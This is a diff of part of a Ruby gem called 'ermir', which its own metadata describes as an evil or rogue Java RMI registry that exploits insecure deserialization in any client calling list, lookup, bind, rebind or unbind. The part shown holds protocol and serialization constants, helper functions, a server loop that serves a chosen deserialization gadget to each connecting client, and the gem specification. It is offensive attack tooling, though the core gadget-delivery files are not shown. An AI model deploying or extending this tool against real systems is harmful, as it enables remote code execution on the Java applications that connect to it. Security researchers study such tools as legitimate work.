+      (class_name.count(".") > 1 && class_name.rpartition(".")[-1][0].match?(/[[:upper:]]/)) \
+      || ([0x5B, 0x4C].include?(class_name[0].ord) && class_name[-1].ord == 0x3B)
+    end
+
+    def patch_chunk(i)
+      @gadget_chunked[i] << TransportConstants::TC_NULL
+    end
+  end
+end

data/lib/ermir/transport_constants.rb

@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+module Ermir
+  # from: sun.rmi.transport.TransportConstants.java
+  module TransportConstants
+    # Transport magic number: "JRMI"
+    MAGIC = 0x4a524d49
+    # Transport version number
+    VERSION = 2
+
+    # Connection uses stream protocol
+    STREAM_PROTOCOL = 0x4b
+    # Protocol for single operation per connection no ack required
+    SINGLE_OP_PROTOCOL = 0x4c
+    # Connection uses multiplex protocol
+    MULTIPLEX_PROTOCOL = 0x4d
+
+    # Ack for transport protocol
+    PROTOCOL_ACK = 0x4e
+    # Negative ack for transport protocol (protocol not supported)
+    PROTOCOL_NACK = 0x4f
+
+    # RMI call
+    CALL = 0x50
+    # RMI return
+    RETURN = 0x51
+    # Ping operation
+    PING = 0x52
+    # Acknowledgment for Ping operation
+    PING_ACK = 0x53
+    # Acknowledgment for distributed GC
+    DGC_ACK = 0x54
+
+    # Normal return (with or without return value)
+    NORMAL_RETURN = 0x01
+    # Exceptional return
+    EXCEPTIONAL_RETURN = 0x02
+
+    INTERFACE_STUB_HASH = 4905912898345647071
+    INTERFACE_SKEL_HASH = 4905912898345647071
+
+    OBJECT_STREAM_MAGIC = 0xACED0005
+    TC_BLOCKDATA = 0x77
+    TC_STRING = 0x74
+    TC_CLASSDESC = 0x72
+    TC_PROXYCLASSDESC = 0x7d
+    TC_ENDBLOCKDATA = 0x78
+    TC_NULL = 0x70
+    TC_REFERENCE = 0x71
+    TC_OBJECT = 0x73
+    TC_ARRAY = 0x75
+    TC_CLASS = 0x76
+    TC_RESET = 0x79
+    TC_BLOCKDATALONG = 0x7A
+    TC_EXCEPTION = 0x7B
+    TC_LONGSTRING =  0x7C
+
+    SC_WRITE_METHOD = 0x01
+    SC_BLOCK_DATA = 0x08
+    SC_SERIALIZABLE = 0x02
+    SC_EXTERNALIZABLE = 0x04
+    SC_ENUM = 0x10
+
+
+    OPS = {0 => "bind", 1 => "list", 2 => "lookup", 3 => "rebind", 4 => "unbind"}
+  end
+end

data/lib/ermir/utils.rb

@@ -0,0 +1,21 @@
+require_relative 'transport_constants'
+module Ermir
+  module Utils
+    module_function
+    def stream_header_valid?(stream)
+      stream[0..3].unpack("L>")[0].eql?(Ermir::TransportConstants::OBJECT_STREAM_MAGIC)
+    end
+
+    def error_and_abort!(error_msg, at, other_error_msg=nil)
+      msg = "Error [#{at}]: #{error_msg[-1].eql?(?.) ? error_msg[...-1] : error_msg}.".red
+      msg += "\n#{' '*4}|_ #{other_error_msg[-1].eql?(?.) ? other_error_msg[...-1] : other_error_msg}." if other_error_msg
+      abort(msg)
+    end
+    def print_time_msg(msg, color=nil)
+      puts "[#{Time.now.strftime('%I:%M:%S')}] #{msg}".public_send(color&.to_sym||:itself)
+    end
+    def print_rmi_transport_msg(msg, peeraddr, color=nil)
+      puts "[remote-peer-#{[peeraddr[-1], peeraddr[1]].join(':')}] #{msg}".public_send(color&.to_sym||:itself)
+    end
+  end
+end

data/lib/ermir/version.rb

@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+module Ermir
+  VERSION = "0.1.0"
+end

data/lib/ermir.rb

@@ -0,0 +1,42 @@
+require_relative 'ermir/argv_parser'
+require_relative 'ermir/utils'
+require_relative 'ermir/evil_registry'
+require 'socket'
+require 'colorize'
+
+module Ermir
+  Signal.trap('INT') do
+    Ermir::Utils.print_time_msg("execution interrupted by the user, exiting..", :red)
+    exit 130
+  end
+
+  def self.run
+    host, port, gadget = ArgvParser.parse_argv!
+    begin
+      server = TCPServer.new(host, port)
+      Utils.print_time_msg("Ermir started listening for RMI calls at #{server.addr[-1]}:#{server.addr[1]}.", :light_yellow)
+      loop do
+        Thread.fork(server.accept) do |socket|
+          peer = [socket.peeraddr[-1], socket.peeraddr[1]]
+          Utils.print_time_msg("connection received from #{peer[0]}:#{peer[1]}.")
+
+          begin
+            registry = EvilRegistry.new(socket, gadget)
+            registry.handle_connection!
+            registry.close_connection!
+          rescue SystemCallError => e
+            Utils.error_and_abort!(e.to_s, "RMI Registry")
+          end
+
+          Utils.print_time_msg("closed the connection to #{peer[0]}:#{peer[1]}.")
+        end
+      end
+    rescue SystemCallError => e
+      if Errno.const_defined?(e.class.to_s.split("::").last || e.class.name)
+        Utils.error_and_abort!(e.to_s, "TCP Server Binding")
+      else
+        Utils.error_and_abort!("something went wrong.", "TCP Server Binding", e.to_s)
+      end
+    end
+  end
+end

metadata

@@ -0,0 +1,95 @@
+--- !ruby/object:Gem::Specification
+name: ermir
+version: !ruby/object:Gem::Version
+  version: 0.1.0
+platform: ruby
+authors:
+- hakivvi
+autorequire:
+bindir: bin
+cert_chain: []
+date: 2022-06-16 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: slop
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: 4.9.2
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: 4.9.2
+- !ruby/object:Gem::Dependency
+  name: colorize
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: 0.8.1
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: 0.8.1
+description: Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization
+  on any Java code calling standard RMI methods on it (list()/lookup()/bind()/rebind()/unbind()).
+email: hakivvi@gmail.com
+executables:
+- ermir
+- gadgetmarshal
+extensions: []
+extra_rdoc_files: []
+files:
+- ".rspec"
+- CODE_OF_CONDUCT.md
+- Gemfile
+- Gemfile.lock
+- LICENSE.txt
+- README.md
+- Rakefile
+- bin/ermir
+- bin/gadgetmarshal
+- ermir.gemspec
+- helpers/gadgetmarshaller/GadgetMarshaller.java
+- lib/ermir.rb
+- lib/ermir/argv_parser.rb
+- lib/ermir/errors.rb
+- lib/ermir/evil_registry.rb
+- lib/ermir/gadget_marshaller.rb
+- lib/ermir/transport_constants.rb
+- lib/ermir/utils.rb
+- lib/ermir/version.rb
+homepage: https://github.com/hakivvi/ermir
+licenses:
+- MIT
+metadata:
+  homepage_uri: https://github.com/hakivvi/ermir
+  source_code_uri: https://github.com/hakivvi/ermir
+  changelog_uri: https://github.com/hakivvi/ermir
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 3.0.3
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.3.6
+signing_key:
+specification_version: 4
+summary: Ermir is an Evil RMI Registry.
+test_files: []